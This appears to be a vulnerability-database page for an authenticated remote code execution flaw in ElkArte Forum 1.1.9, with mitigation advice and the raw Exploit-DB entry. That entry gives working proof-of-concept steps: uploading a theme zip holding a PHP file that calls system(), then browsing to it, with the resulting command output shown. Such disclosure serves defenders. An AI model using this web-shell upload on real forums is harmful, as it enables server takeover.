ElkArte Forum 1.1.9 - Remote Code Execution (RCE) (Authenticated)

vendor:

ElkArte Forum

by:

tmrswrr

6.1

CVSS

HIGH

Remote Code Execution (RCE)

CWE

Product Name: ElkArte Forum

Affected Version From: 1.1.2009

Affected Version To: 1.1.2009

Patch Exists: NO

Related CWE: Not available

CPE: a:elkarte:elkarte:1.1.9

Metasploit:

Other Scripts:

Platforms Tested: Web

2024

ElkArte Forum 1.1.9 – Remote Code Execution (RCE) (Authenticated)

An authenticated remote code execution vulnerability exists in ElkArte Forum version 1.1.9. By uploading a malicious PHP file via the theme installation feature, an attacker can execute arbitrary commands on the server, leading to a compromise of the system.

Mitigation:

To mitigate this vulnerability, it is recommended to update the ElkArte Forum to a patched version as soon as the vendor releases a fix. Additionally, restrict access to the theme installation and file upload functionalities to trusted users only.

Source

Exploit-DB raw data:

# Exploit Title : ElkArte Forum 1.1.9 - Remote Code Execution (RCE) (Authenticated) 
# Date: 2024-5-24
# Exploit Author: tmrswrr
# Category: Webapps
# Vendor Homepage: https://www.elkarte.net/
# Software Link : https://github.com/elkarte/Elkarte/releases/download/v1.1.9/ElkArte_v1-1-9_install.zip
# Version : 1.1.9


1) After login go to Manage and Install theme > https://127.0.0.1/ElkArte/index.php?action=admin;area=theme;sa=admin;c2e3e39a0d=276c2e3e39a0d65W2qg1voAFfX1yNc5m
2) Upload test.zip file and click install > test.zip > test.php > <?php echo system('id'); ?>
3) Go to Theme Setting > Theme Directory > https://127.0.0.1/ElkArte/themes/test/test.php
Result : uid=1000(ElkArte) gid=1000(ElkArte) groups=1000(ElkArte) uid=1000(ElkArte) gid=1000(ElkArte) groups=1000(ElkArte)